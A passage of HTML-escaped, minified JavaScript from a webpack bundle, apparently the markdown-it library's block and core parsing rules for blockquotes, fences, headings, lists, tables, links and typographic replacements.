&quot;+e)}this.__rules__[r].enabled=!0,s.push(e)},this),this.__cache__=null,s},r.prototype.enableOnly=function(e,t){Array.isArray(e)||(e=[e]),this.__rules__.forEach(function(e){e.enabled=!1}),this.enable(e,t)},r.prototype.disable=function(e,t){Array.isArray(e)||(e=[e]);const s=[];return e.forEach(function(e){const r=this.__find__(e);if(r&lt;0){if(t)return;throw new Error(&quot;Rules manager: invalid rule name &quot;+e)}this.__rules__[r].enabled=!1,s.push(e)},this),this.__cache__=null,s},r.prototype.getRules=function(e){return null===this.__cache__&amp;&amp;this.__compile__(),this.__cache__[e]||[]};const n=r},97537(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(54439);function n(e,t,s,n){let o=e.bMarks[t]+e.tShift[t],a=e.eMarks[t];const i=e.lineMax;if(e.sCount[t]-e.blkIndent&gt;=4)return!1;if(62!==e.src.charCodeAt(o))return!1;if(n)return!0;const l=[],c=[],u=[],d=[],p=e.md.block.ruler.getRules(&quot;blockquote&quot;),h=e.parentType;e.parentType=&quot;blockquote&quot;;let m,g=!1;for(m=t;m&lt;s;m++){const t=e.sCount[m]&lt;e.blkIndent;if(o=e.bMarks[m]+e.tShift[m],a=e.eMarks[m],o&gt;=a)break;if(62===e.src.charCodeAt(o++)&amp;&amp;!t){let t,s,n=e.sCount[m]+1;32===e.src.charCodeAt(o)?(o++,n++,s=!1,t=!0):9===e.src.charCodeAt(o)?(t=!0,(e.bsCount[m]+n)%4==3?(o++,n++,s=!1):s=!0):t=!1;let i=n;for(l.push(e.bMarks[m]),e.bMarks[m]=o;o&lt;a;){const t=e.src.charCodeAt(o);if(!(0,r.isSpace)(t))break;9===t?i+=4-(i+e.bsCount[m]+(s?1:0))%4:i++,o++}g=o&gt;=a,c.push(e.bsCount[m]),e.bsCount[m]=e.sCount[m]+1+(t?1:0),u.push(e.sCount[m]),e.sCount[m]=i-n,d.push(e.tShift[m]),e.tShift[m]=o-e.bMarks[m];continue}if(g)break;let n=!1;for(let t=0,r=p.length;t&lt;r;t++)if(p[t](e,m,s,!0)){n=!0;break}if(n){e.lineMax=m,0!==e.blkIndent&amp;&amp;(l.push(e.bMarks[m]),c.push(e.bsCount[m]),d.push(e.tShift[m]),u.push(e.sCount[m]),e.sCount[m]-=e.blkIndent);break}l.push(e.bMarks[m]),c.push(e.bsCount[m]),d.push(e.tShift[m]),u.push(e.sCount[m]),e.sCount[m]=-1}const f=e.blkIndent;e.blkIndent=0;const b=e.push(&quot;blockquote_open&quot;,&quot;blockquote&quot;,1);b.markup=&quot;&gt;&quot;;const v=[t,0];b.map=v,e.md.block.tokenize(e,t,m);e.push(&quot;blockquote_close&quot;,&quot;blockquote&quot;,-1).markup=&quot;&gt;&quot;,e.lineMax=i,e.parentType=h,v[1]=e.line;for(let s=0;s&lt;d.length;s++)e.bMarks[s+t]=l[s],e.tShift[s+t]=d[s],e.sCount[s+t]=u[s],e.bsCount[s+t]=c[s];return e.blkIndent=f,!0}},47103(e,t,s){&quot;use strict&quot;;function r(e,t,s){if(e.sCount[t]-e.blkIndent&lt;4)return!1;let r=t+1,n=r;for(;r&lt;s;)if(e.isEmpty(r))r++;else{if(!(e.sCount[r]-e.blkIndent&gt;=4))break;r++,n=r}e.line=n;const o=e.push(&quot;code_block&quot;,&quot;code&quot;,0);return o.content=e.getLines(t,n,4+e.blkIndent,!1)+&quot;\n&quot;,o.map=[t,e.line],!0}s.d(t,{A:()=&gt;r})},36283(e,t,s){&quot;use strict&quot;;function r(e,t,s,r){let n=e.bMarks[t]+e.tShift[t],o=e.eMarks[t];if(e.sCount[t]-e.blkIndent&gt;=4)return!1;if(n+3&gt;o)return!1;const a=e.src.charCodeAt(n);if(126!==a&amp;&amp;96!==a)return!1;let i=n;n=e.skipChars(n,a);let l=n-i;if(l&lt;3)return!1;const c=e.src.slice(i,n),u=e.src.slice(n,o);if(96===a&amp;&amp;u.indexOf(String.fromCharCode(a))&gt;=0)return!1;if(r)return!0;let d=t,p=!1;for(;(d++,!(d&gt;=s))&amp;&amp;(n=i=e.bMarks[d]+e.tShift[d],o=e.eMarks[d],!(n&lt;o&amp;&amp;e.sCount[d]&lt;e.blkIndent));)if(e.src.charCodeAt(n)===a&amp;&amp;!(e.sCount[d]-e.blkIndent&gt;=4||(n=e.skipChars(n,a),n-i&lt;l||(n=e.skipSpaces(n),n&lt;o)))){p=!0;break}l=e.sCount[t],e.line=d+(p?1:0);const h=e.push(&quot;fence&quot;,&quot;code&quot;,0);return h.info=u,h.content=e.getLines(t+1,d,l,!0),h.markup=c,h.map=[t,e.line],!0}s.d(t,{A:()=&gt;r})},13318(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(54439);function n(e,t,s,n){let o=e.bMarks[t]+e.tShift[t],a=e.eMarks[t];if(e.sCount[t]-e.blkIndent&gt;=4)return!1;let i=e.src.charCodeAt(o);if(35!==i||o&gt;=a)return!1;let l=1;for(i=e.src.charCodeAt(++o);35===i&amp;&amp;o&lt;a&amp;&amp;l&lt;=6;)l++,i=e.src.charCodeAt(++o);if(l&gt;6||o&lt;a&amp;&amp;!(0,r.isSpace)(i))return!1;if(n)return!0;a=e.skipSpacesBack(a,o);const c=e.skipCharsBack(a,35,o);c&gt;o&amp;&amp;(0,r.isSpace)(e.src.charCodeAt(c-1))&amp;&amp;(a=c),e.line=t+1;const u=e.push(&quot;heading_open&quot;,&quot;h&quot;+String(l),1);u.markup=&quot;########&quot;.slice(0,l),u.map=[t,e.line];const d=e.push(&quot;inline&quot;,&quot;&quot;,0);d.content=e.src.slice(o,a).trim(),d.map=[t,e.line],d.children=[];return e.push(&quot;heading_close&quot;,&quot;h&quot;+String(l),-1).markup=&quot;########&quot;.slice(0,l),!0}},79062(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(54439);function n(e,t,s,n){const o=e.eMarks[t];if(e.sCount[t]-e.blkIndent&gt;=4)return!1;let a=e.bMarks[t]+e.tShift[t];const i=e.src.charCodeAt(a++);if(42!==i&amp;&amp;45!==i&amp;&amp;95!==i)return!1;let l=1;for(;a&lt;o;){const t=e.src.charCodeAt(a++);if(t!==i&amp;&amp;!(0,r.isSpace)(t))return!1;t===i&amp;&amp;l++}if(l&lt;3)return!1;if(n)return!0;e.line=t+1;const c=e.push(&quot;hr&quot;,&quot;hr&quot;,0);return c.map=[t,e.line],c.markup=Array(l+1).join(String.fromCharCode(i)),!0}},72577(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(84384),n=s(58105);const o=[[/^&lt;(script|pre|style|textarea)(?=(\s|&gt;|$))/i,/&lt;\/(script|pre|style|textarea)&gt;/i,!0],[/^&lt;!--/,/--&gt;/,!0],[/^&lt;\?/,/\?&gt;/,!0],[/^&lt;![A-Z]/,/&gt;/,!0],[/^&lt;!\[CDATA\[/,/\]\]&gt;/,!0],[new RegExp(&quot;^&lt;/?(&quot;+r.A.join(&quot;|&quot;)+&quot;)(?=(\\s|/?&gt;|$))&quot;,&quot;i&quot;),/^$/,!0],[new RegExp(n.p.source+&quot;\\s*$&quot;),/^$/,!1]];function a(e,t,s,r){let n=e.bMarks[t]+e.tShift[t],a=e.eMarks[t];if(e.sCount[t]-e.blkIndent&gt;=4)return!1;if(!e.md.options.html)return!1;if(60!==e.src.charCodeAt(n))return!1;let i=e.src.slice(n,a),l=0;for(;l&lt;o.length&amp;&amp;!o[l][0].test(i);l++);if(l===o.length)return!1;if(r)return o[l][2];let c=t+1;if(!o[l][1].test(i))for(;c&lt;s&amp;&amp;!(e.sCount[c]&lt;e.blkIndent);c++)if(n=e.bMarks[c]+e.tShift[c],a=e.eMarks[c],i=e.src.slice(n,a),o[l][1].test(i)){0!==i.length&amp;&amp;c++;break}e.line=c;const u=e.push(&quot;html_block&quot;,&quot;&quot;,0);return u.map=[t,c],u.content=e.getLines(t,c,e.blkIndent,!0),!0}},94206(e,t,s){&quot;use strict&quot;;function r(e,t,s){const r=e.md.block.ruler.getRules(&quot;paragraph&quot;);if(e.sCount[t]-e.blkIndent&gt;=4)return!1;const n=e.parentType;e.parentType=&quot;paragraph&quot;;let o,a=0,i=t+1;for(;i&lt;s&amp;&amp;!e.isEmpty(i);i++){if(e.sCount[i]-e.blkIndent&gt;3)continue;if(e.sCount[i]&gt;=e.blkIndent){let t=e.bMarks[i]+e.tShift[i];const s=e.eMarks[i];if(t&lt;s&amp;&amp;(o=e.src.charCodeAt(t),(45===o||61===o)&amp;&amp;(t=e.skipChars(t,o),t=e.skipSpaces(t),t&gt;=s))){a=61===o?1:2;break}}if(e.sCount[i]&lt;0)continue;let t=!1;for(let n=0,o=r.length;n&lt;o;n++)if(r[n](e,i,s,!0)){t=!0;break}if(t)break}if(!a)return!1;const l=e.getLines(t,i,e.blkIndent,!1).trim();e.line=i+1;const c=e.push(&quot;heading_open&quot;,&quot;h&quot;+String(a),1);c.markup=String.fromCharCode(o),c.map=[t,e.line];const u=e.push(&quot;inline&quot;,&quot;&quot;,0);u.content=l,u.map=[t,e.line-1],u.children=[];return e.push(&quot;heading_close&quot;,&quot;h&quot;+String(a),-1).markup=String.fromCharCode(o),e.parentType=n,!0}s.d(t,{A:()=&gt;r})},25792(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(54439);function n(e,t){const s=e.eMarks[t];let n=e.bMarks[t]+e.tShift[t];const o=e.src.charCodeAt(n++);if(42!==o&amp;&amp;45!==o&amp;&amp;43!==o)return-1;if(n&lt;s){const t=e.src.charCodeAt(n);if(!(0,r.isSpace)(t))return-1}return n}function o(e,t){const s=e.bMarks[t]+e.tShift[t],n=e.eMarks[t];let o=s;if(o+1&gt;=n)return-1;let a=e.src.charCodeAt(o++);if(a&lt;48||a&gt;57)return-1;for(;;){if(o&gt;=n)return-1;if(a=e.src.charCodeAt(o++),!(a&gt;=48&amp;&amp;a&lt;=57)){if(41===a||46===a)break;return-1}if(o-s&gt;=10)return-1}return o&lt;n&amp;&amp;(a=e.src.charCodeAt(o),!(0,r.isSpace)(a))?-1:o}function a(e,t,s,r){let a,i,l,c,u=t,d=!0;if(e.sCount[u]-e.blkIndent&gt;=4)return!1;if(e.listIndent&gt;=0&amp;&amp;e.sCount[u]-e.listIndent&gt;=4&amp;&amp;e.sCount[u]&lt;e.blkIndent)return!1;let p,h,m,g=!1;if(r&amp;&amp;&quot;paragraph&quot;===e.parentType&amp;&amp;e.sCount[u]&gt;=e.blkIndent&amp;&amp;(g=!0),(m=o(e,u))&gt;=0){if(p=!0,l=e.bMarks[u]+e.tShift[u],h=Number(e.src.slice(l,m-1)),g&amp;&amp;1!==h)return!1}else{if(!((m=n(e,u))&gt;=0))return!1;p=!1}if(g&amp;&amp;e.skipSpaces(m)&gt;=e.eMarks[u])return!1;if(r)return!0;const f=e.src.charCodeAt(m-1),b=e.tokens.length;p?(c=e.push(&quot;ordered_list_open&quot;,&quot;ol&quot;,1),1!==h&amp;&amp;(c.attrs=[[&quot;start&quot;,h]])):c=e.push(&quot;bullet_list_open&quot;,&quot;ul&quot;,1);const v=[u,0];c.map=v,c.markup=String.fromCharCode(f);let k=!1;const y=e.md.block.ruler.getRules(&quot;list&quot;),x=e.parentType;for(e.parentType=&quot;list&quot;;u&lt;s;){i=m,a=e.eMarks[u];const t=e.sCount[u]+m-(e.bMarks[u]+e.tShift[u]);let r=t;for(;i&lt;a;){const t=e.src.charCodeAt(i);if(9===t)r+=4-(r+e.bsCount[u])%4;else{if(32!==t)break;r++}i++}const h=i;let g;g=h&gt;=a?1:r-t,g&gt;4&amp;&amp;(g=1);const b=t+g;c=e.push(&quot;list_item_open&quot;,&quot;li&quot;,1),c.markup=String.fromCharCode(f);const v=[u,0];c.map=v,p&amp;&amp;(c.info=e.src.slice(l,m-1));const x=e.tight,j=e.tShift[u],w=e.sCount[u],_=e.listIndent;if(e.listIndent=e.blkIndent,e.blkIndent=b,e.tight=!0,e.tShift[u]=h-e.bMarks[u],e.sCount[u]=r,h&gt;=a&amp;&amp;e.isEmpty(u+1)?e.line=Math.min(e.line+2,s):e.md.block.tokenize(e,u,s,!0),e.tight&amp;&amp;!k||(d=!1),k=e.line-u&gt;1&amp;&amp;e.isEmpty(e.line-1),e.blkIndent=e.listIndent,e.listIndent=_,e.tShift[u]=j,e.sCount[u]=w,e.tight=x,c=e.push(&quot;list_item_close&quot;,&quot;li&quot;,-1),c.markup=String.fromCharCode(f),u=e.line,v[1]=u,u&gt;=s)break;if(e.sCount[u]&lt;e.blkIndent)break;if(e.sCount[u]-e.blkIndent&gt;=4)break;let C=!1;for(let t=0,r=y.length;t&lt;r;t++)if(y[t](e,u,s,!0)){C=!0;break}if(C)break;if(p){if(m=o(e,u),m&lt;0)break;l=e.bMarks[u]+e.tShift[u]}else if(m=n(e,u),m&lt;0)break;if(f!==e.src.charCodeAt(m-1))break}return c=p?e.push(&quot;ordered_list_close&quot;,&quot;ol&quot;,-1):e.push(&quot;bullet_list_close&quot;,&quot;ul&quot;,-1),c.markup=String.fromCharCode(f),v[1]=u,e.line=u,e.parentType=x,d&amp;&amp;function(e,t){const s=e.level+2;for(let r=t+2,n=e.tokens.length-2;r&lt;n;r++)e.tokens[r].level===s&amp;&amp;&quot;paragraph_open&quot;===e.tokens[r].type&amp;&amp;(e.tokens[r+2].hidden=!0,e.tokens[r].hidden=!0,r+=2)}(e,b),!0}},94970(e,t,s){&quot;use strict&quot;;function r(e,t,s){const r=e.md.block.ruler.getRules(&quot;paragraph&quot;),n=e.parentType;let o=t+1;for(e.parentType=&quot;paragraph&quot;;o&lt;s&amp;&amp;!e.isEmpty(o);o++){if(e.sCount[o]-e.blkIndent&gt;3)continue;if(e.sCount[o]&lt;0)continue;let t=!1;for(let n=0,a=r.length;n&lt;a;n++)if(r[n](e,o,s,!0)){t=!0;break}if(t)break}const a=e.getLines(t,o,e.blkIndent,!1).trim();e.line=o;e.push(&quot;paragraph_open&quot;,&quot;p&quot;,1).map=[t,e.line];const i=e.push(&quot;inline&quot;,&quot;&quot;,0);return i.content=a,i.map=[t,e.line],i.children=[],e.push(&quot;paragraph_close&quot;,&quot;p&quot;,-1),e.parentType=n,!0}s.d(t,{A:()=&gt;r})},43863(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(54439);function n(e,t,s,n){let o=e.bMarks[t]+e.tShift[t],a=e.eMarks[t],i=t+1;if(e.sCount[t]-e.blkIndent&gt;=4)return!1;if(91!==e.src.charCodeAt(o))return!1;function l(t){const s=e.lineMax;if(t&gt;=s||e.isEmpty(t))return null;let r=!1;if(e.sCount[t]-e.blkIndent&gt;3&amp;&amp;(r=!0),e.sCount[t]&lt;0&amp;&amp;(r=!0),!r){const r=e.md.block.ruler.getRules(&quot;reference&quot;),n=e.parentType;e.parentType=&quot;reference&quot;;let o=!1;for(let n=0,a=r.length;n&lt;a;n++)if(r[n](e,t,s,!0)){o=!0;break}if(e.parentType=n,o)return null}const n=e.bMarks[t]+e.tShift[t],o=e.eMarks[t];return e.src.slice(n,o+1)}let c=e.src.slice(o,a+1);a=c.length;let u=-1;for(o=1;o&lt;a;o++){const e=c.charCodeAt(o);if(91===e)return!1;if(93===e){u=o;break}if(10===e){const e=l(i);null!==e&amp;&amp;(c+=e,a=c.length,i++)}else if(92===e&amp;&amp;(o++,o&lt;a&amp;&amp;10===c.charCodeAt(o))){const e=l(i);null!==e&amp;&amp;(c+=e,a=c.length,i++)}}if(u&lt;0||58!==c.charCodeAt(u+1))return!1;for(o=u+2;o&lt;a;o++){const e=c.charCodeAt(o);if(10===e){const e=l(i);null!==e&amp;&amp;(c+=e,a=c.length,i++)}else if(!(0,r.isSpace)(e))break}const d=e.md.helpers.parseLinkDestination(c,o,a);if(!d.ok)return!1;const p=e.md.normalizeLink(d.str);if(!e.md.validateLink(p))return!1;o=d.pos;const h=o,m=i,g=o;for(;o&lt;a;o++){const e=c.charCodeAt(o);if(10===e){const e=l(i);null!==e&amp;&amp;(c+=e,a=c.length,i++)}else if(!(0,r.isSpace)(e))break}let f,b=e.md.helpers.parseLinkTitle(c,o,a);for(;b.can_continue;){const t=l(i);if(null===t)break;c+=t,o=a,a=c.length,i++,b=e.md.helpers.parseLinkTitle(c,o,a,b)}for(o&lt;a&amp;&amp;g!==o&amp;&amp;b.ok?(f=b.str,o=b.pos):(f=&quot;&quot;,o=h,i=m);o&lt;a;){const e=c.charCodeAt(o);if(!(0,r.isSpace)(e))break;o++}if(o&lt;a&amp;&amp;10!==c.charCodeAt(o)&amp;&amp;f)for(f=&quot;&quot;,o=h,i=m;o&lt;a;){const e=c.charCodeAt(o);if(!(0,r.isSpace)(e))break;o++}if(o&lt;a&amp;&amp;10!==c.charCodeAt(o))return!1;const v=(0,r.normalizeReference)(c.slice(1,u));return!!v&amp;&amp;(n||(void 0===e.env.references&amp;&amp;(e.env.references={}),void 0===e.env.references[v]&amp;&amp;(e.env.references[v]={title:f,href:p}),e.line=i),!0)}},52961(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(57997),n=s(54439);function o(e,t,s,r){this.src=e,this.md=t,this.env=s,this.tokens=r,this.bMarks=[],this.eMarks=[],this.tShift=[],this.sCount=[],this.bsCount=[],this.blkIndent=0,this.line=0,this.lineMax=0,this.tight=!1,this.ddIndent=-1,this.listIndent=-1,this.parentType=&quot;root&quot;,this.level=0;const o=this.src;for(let e=0,t=0,s=0,r=0,a=o.length,i=!1;t&lt;a;t++){const l=o.charCodeAt(t);if(!i){if((0,n.isSpace)(l)){s++,9===l?r+=4-r%4:r++;continue}i=!0}10!==l&amp;&amp;t!==a-1||(10!==l&amp;&amp;t++,this.bMarks.push(e),this.eMarks.push(t),this.tShift.push(s),this.sCount.push(r),this.bsCount.push(0),i=!1,s=0,r=0,e=t+1)}this.bMarks.push(o.length),this.eMarks.push(o.length),this.tShift.push(0),this.sCount.push(0),this.bsCount.push(0),this.lineMax=this.bMarks.length-1}o.prototype.push=function(e,t,s){const n=new r.A(e,t,s);return n.block=!0,s&lt;0&amp;&amp;this.level--,n.level=this.level,s&gt;0&amp;&amp;this.level++,this.tokens.push(n),n},o.prototype.isEmpty=function(e){return this.bMarks[e]+this.tShift[e]&gt;=this.eMarks[e]},o.prototype.skipEmptyLines=function(e){for(let t=this.lineMax;e&lt;t&amp;&amp;!(this.bMarks[e]+this.tShift[e]&lt;this.eMarks[e]);e++);return e},o.prototype.skipSpaces=function(e){for(let t=this.src.length;e&lt;t;e++){const t=this.src.charCodeAt(e);if(!(0,n.isSpace)(t))break}return e},o.prototype.skipSpacesBack=function(e,t){if(e&lt;=t)return e;for(;e&gt;t;)if(!(0,n.isSpace)(this.src.charCodeAt(--e)))return e+1;return e},o.prototype.skipChars=function(e,t){for(let s=this.src.length;e&lt;s&amp;&amp;this.src.charCodeAt(e)===t;e++);return e},o.prototype.skipCharsBack=function(e,t,s){if(e&lt;=s)return e;for(;e&gt;s;)if(t!==this.src.charCodeAt(--e))return e+1;return e},o.prototype.getLines=function(e,t,s,r){if(e&gt;=t)return&quot;&quot;;const o=new Array(t-e);for(let a=0,i=e;i&lt;t;i++,a++){let e=0;const l=this.bMarks[i];let c,u=l;for(c=i+1&lt;t||r?this.eMarks[i]+1:this.eMarks[i];u&lt;c&amp;&amp;e&lt;s;){const t=this.src.charCodeAt(u);if((0,n.isSpace)(t))9===t?e+=4-(e+this.bsCount[i])%4:e++;else{if(!(u-l&lt;this.tShift[i]))break;e++}u++}o[a]=e&gt;s?new Array(e-s+1).join(&quot; &quot;)+this.src.slice(u,c):this.src.slice(u,c)}return o.join(&quot;&quot;)},o.prototype.Token=r.A;const a=o},20712(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(54439);function n(e,t){const s=e.bMarks[t]+e.tShift[t],r=e.eMarks[t];return e.src.slice(s,r)}function o(e){const t=[],s=e.length;let r=0,n=e.charCodeAt(r),o=!1,a=0,i=&quot;&quot;;for(;r&lt;s;)124===n&amp;&amp;(o?(i+=e.substring(a,r-1),a=r):(t.push(i+e.substring(a,r)),i=&quot;&quot;,a=r+1)),o=92===n,r++,n=e.charCodeAt(r);return t.push(i+e.substring(a)),t}function a(e,t,s,a){if(t+2&gt;s)return!1;let i=t+1;if(e.sCount[i]&lt;e.blkIndent)return!1;if(e.sCount[i]-e.blkIndent&gt;=4)return!1;let l=e.bMarks[i]+e.tShift[i];if(l&gt;=e.eMarks[i])return!1;const c=e.src.charCodeAt(l++);if(124!==c&amp;&amp;45!==c&amp;&amp;58!==c)return!1;if(l&gt;=e.eMarks[i])return!1;const u=e.src.charCodeAt(l++);if(124!==u&amp;&amp;45!==u&amp;&amp;58!==u&amp;&amp;!(0,r.isSpace)(u))return!1;if(45===c&amp;&amp;(0,r.isSpace)(u))return!1;for(;l&lt;e.eMarks[i];){const t=e.src.charCodeAt(l);if(124!==t&amp;&amp;45!==t&amp;&amp;58!==t&amp;&amp;!(0,r.isSpace)(t))return!1;l++}let d=n(e,t+1),p=d.split(&quot;|&quot;);const h=[];for(let e=0;e&lt;p.length;e++){const t=p[e].trim();if(!t){if(0===e||e===p.length-1)continue;return!1}if(!/^:?-+:?$/.test(t))return!1;58===t.charCodeAt(t.length-1)?h.push(58===t.charCodeAt(0)?&quot;center&quot;:&quot;right&quot;):58===t.charCodeAt(0)?h.push(&quot;left&quot;):h.push(&quot;&quot;)}if(d=n(e,t).trim(),-1===d.indexOf(&quot;|&quot;))return!1;if(e.sCount[t]-e.blkIndent&gt;=4)return!1;p=o(d),p.length&amp;&amp;&quot;&quot;===p[0]&amp;&amp;p.shift(),p.length&amp;&amp;&quot;&quot;===p[p.length-1]&amp;&amp;p.pop();const m=p.length;if(0===m||m!==h.length)return!1;if(a)return!0;const g=e.parentType;e.parentType=&quot;table&quot;;const f=e.md.block.ruler.getRules(&quot;blockquote&quot;),b=[t,0];e.push(&quot;table_open&quot;,&quot;table&quot;,1).map=b;e.push(&quot;thead_open&quot;,&quot;thead&quot;,1).map=[t,t+1];e.push(&quot;tr_open&quot;,&quot;tr&quot;,1).map=[t,t+1];for(let t=0;t&lt;p.length;t++){const s=e.push(&quot;th_open&quot;,&quot;th&quot;,1);h[t]&amp;&amp;(s.attrs=[[&quot;style&quot;,&quot;text-align:&quot;+h[t]]]);const r=e.push(&quot;inline&quot;,&quot;&quot;,0);r.content=p[t].trim(),r.children=[],e.push(&quot;th_close&quot;,&quot;th&quot;,-1)}let v;e.push(&quot;tr_close&quot;,&quot;tr&quot;,-1),e.push(&quot;thead_close&quot;,&quot;thead&quot;,-1);let k=0;for(i=t+2;i&lt;s&amp;&amp;!(e.sCount[i]&lt;e.blkIndent);i++){let r=!1;for(let t=0,n=f.length;t&lt;n;t++)if(f[t](e,i,s,!0)){r=!0;break}if(r)break;if(d=n(e,i).trim(),!d)break;if(e.sCount[i]-e.blkIndent&gt;=4)break;if(p=o(d),p.length&amp;&amp;&quot;&quot;===p[0]&amp;&amp;p.shift(),p.length&amp;&amp;&quot;&quot;===p[p.length-1]&amp;&amp;p.pop(),k+=m-p.length,k&gt;65536)break;if(i===t+2){e.push(&quot;tbody_open&quot;,&quot;tbody&quot;,1).map=v=[t+2,0]}e.push(&quot;tr_open&quot;,&quot;tr&quot;,1).map=[i,i+1];for(let t=0;t&lt;m;t++){const s=e.push(&quot;td_open&quot;,&quot;td&quot;,1);h[t]&amp;&amp;(s.attrs=[[&quot;style&quot;,&quot;text-align:&quot;+h[t]]]);const r=e.push(&quot;inline&quot;,&quot;&quot;,0);r.content=p[t]?p[t].trim():&quot;&quot;,r.children=[],e.push(&quot;td_close&quot;,&quot;td&quot;,-1)}e.push(&quot;tr_close&quot;,&quot;tr&quot;,-1)}return v&amp;&amp;(e.push(&quot;tbody_close&quot;,&quot;tbody&quot;,-1),v[1]=i),e.push(&quot;table_close&quot;,&quot;table&quot;,-1),b[1]=i,e.parentType=g,e.line=i,!0}},79417(e,t,s){&quot;use strict&quot;;function r(e){let t;e.inlineMode?(t=new e.Token(&quot;inline&quot;,&quot;&quot;,0),t.content=e.src,t.map=[0,1],t.children=[],e.tokens.push(t)):e.md.block.parse(e.src,e.md,e.env,e.tokens)}s.d(t,{A:()=&gt;r})},85189(e,t,s){&quot;use strict&quot;;function r(e){const t=e.tokens;for(let s=0,r=t.length;s&lt;r;s++){const r=t[s];&quot;inline&quot;===r.type&amp;&amp;e.md.inline.parse(r.content,e.md,e.env,r.children)}}s.d(t,{A:()=&gt;r})},96084(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(54439);function n(e){return/^&lt;a[&gt;\s]/i.test(e)}function o(e){return/^&lt;\/a\s*&gt;/i.test(e)}function a(e){const t=e.tokens;if(e.md.options.linkify)for(let s=0,a=t.length;s&lt;a;s++){if(&quot;inline&quot;!==t[s].type||!e.md.linkify.pretest(t[s].content))continue;let a=t[s].children,i=0;for(let l=a.length-1;l&gt;=0;l--){const c=a[l];if(&quot;link_close&quot;!==c.type){if(&quot;html_inline&quot;===c.type&amp;&amp;(n(c.content)&amp;&amp;i&gt;0&amp;&amp;i--,o(c.content)&amp;&amp;i++),!(i&gt;0)&amp;&amp;&quot;text&quot;===c.type&amp;&amp;e.md.linkify.test(c.content)){const n=c.content;let o=e.md.linkify.match(n);const i=[];let u=c.level,d=0;o.length&gt;0&amp;&amp;0===o[0].index&amp;&amp;l&gt;0&amp;&amp;&quot;text_special&quot;===a[l-1].type&amp;&amp;(o=o.slice(1));for(let t=0;t&lt;o.length;t++){const s=o[t].url,r=e.md.normalizeLink(s);if(!e.md.validateLink(r))continue;let a=o[t].text;a=o[t].schema?&quot;mailto:&quot;!==o[t].schema||/^mailto:/i.test(a)?e.md.normalizeLinkText(a):e.md.normalizeLinkText(&quot;mailto:&quot;+a).replace(/^mailto:/,&quot;&quot;):e.md.normalizeLinkText(&quot;http://&quot;+a).replace(/^http:\/\//,&quot;&quot;);const l=o[t].index;if(l&gt;d){const t=new e.Token(&quot;text&quot;,&quot;&quot;,0);t.content=n.slice(d,l),t.level=u,i.push(t)}const c=new e.Token(&quot;link_open&quot;,&quot;a&quot;,1);c.attrs=[[&quot;href&quot;,r]],c.level=u++,c.markup=&quot;linkify&quot;,c.info=&quot;auto&quot;,i.push(c);const p=new e.Token(&quot;text&quot;,&quot;&quot;,0);p.content=a,p.level=u,i.push(p);const h=new e.Token(&quot;link_close&quot;,&quot;a&quot;,-1);h.level=--u,h.markup=&quot;linkify&quot;,h.info=&quot;auto&quot;,i.push(h),d=o[t].lastIndex}if(d&lt;n.length){const t=new e.Token(&quot;text&quot;,&quot;&quot;,0);t.content=n.slice(d),t.level=u,i.push(t)}t[s].children=a=(0,r.arrayReplaceAt)(a,l,i)}}else for(l--;a[l].level!==c.level&amp;&amp;&quot;link_open&quot;!==a[l].type;)l--}}}},2699(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});const r=/\r\n?|\n/g,n=/\0/g;function o(e){let t;t=e.src.replace(r,&quot;\n&quot;),t=t.replace(n,&quot;�&quot;),e.src=t}},48541(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});const r=/\+-|\.\.|\?\?\?\?|!!!!|,,|--/,n=/\((c|tm|r)\)/i,o=/\((c|tm|r)\)/gi,a={c:&quot;©&quot;,r:&quot;®&quot;,tm:&quot;™&quot;};function i(e,t){return a[t.toLowerCase()]}function l(e){let t=0;for(let s=e.length-1;s&gt;=0;s--){const r=e[s];&quot;text&quot;!==r.type||t||(r.content=r.content.replace(o,i)),&quot;link_open&quot;===r.type&amp;&amp;&quot;auto&quot;===r.info&amp;&amp;t--,&quot;link_close&quot;===r.type&amp;&amp;&quot;auto&quot;===r.info&amp;&amp;t++}}function c(e){let t=0;for(let s=e.length-1;s&gt;=0;s--){const n=e[s];&quot;text&quot;!==n.type||t||r.test(n.content)&amp;&amp;(n.content=n.content.replace(/\+-/g,&quot;±&quot;).replace(/\.{2,}/g,&quot;…&quot;).replace(/([?!])…/g,&quot;$1..&quot;).replace(/([?!]){4,}/g,&quot;$1$1$1&quot;).replace(/,{2,}/g,&quot;,&quot;).replace(/(^|[^-])---(?=[^-]|$)/gm,&quot;$1—&quot;).replace(/(^|\s)--(?=\s|$)/gm,&quot;$1–&quot;).replace(/(^|[^-\s])--(?=[^-\s]|$)/gm,&quot;$1–&quot;)),&quot;link_open&quot;===n.type&amp;&amp;&quot;auto&quot;===n.info&amp;&amp;t--,&quot;link_close&quot;===n.type&amp;&amp;&quot;auto&quot;===n.info&amp;&amp;t++}}function u(e){let t;if(e.md.options.typographer)for(t=e.tokens.length-1;t&gt;=0;t--)&quot;inline&quot;===e.tokens[t].type&amp;&amp;(n.test(e.tokens[t].content)&amp;&amp;l(e.tokens[t].children),r.test(e.tokens[t].content)&amp;&amp;c(e.tokens[t].children))}},55834(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(54439);const n=/[&#039;&quot;]/,o=/[&#039;&quot;]/g;function a(e,t,s){return e.slice(0,t)+s+e.slice(t+1)}function i(e,t){let s;const n=[];for(let i=0;i&lt;e.length;i++){const l=e[i],c=e[i].level;for(s=n.length-1;s&gt;=0&amp;&amp;!(n[s].level&lt;=c);s--);if(n.length=s+1,&quot;text&quot;!==l.type)continue;let u=l.content,d=0,p=u.length;e:for(;d&lt;p;){o.lastIndex=d;const h=o.exec(u);if(!h)break;let m=!0,g=!0;d=h.index+1;const f=&quot;&#039;&quot;===h[0];let b=32;if(h.index-1&gt;=0)b=u.charCodeAt(h.index-1);else 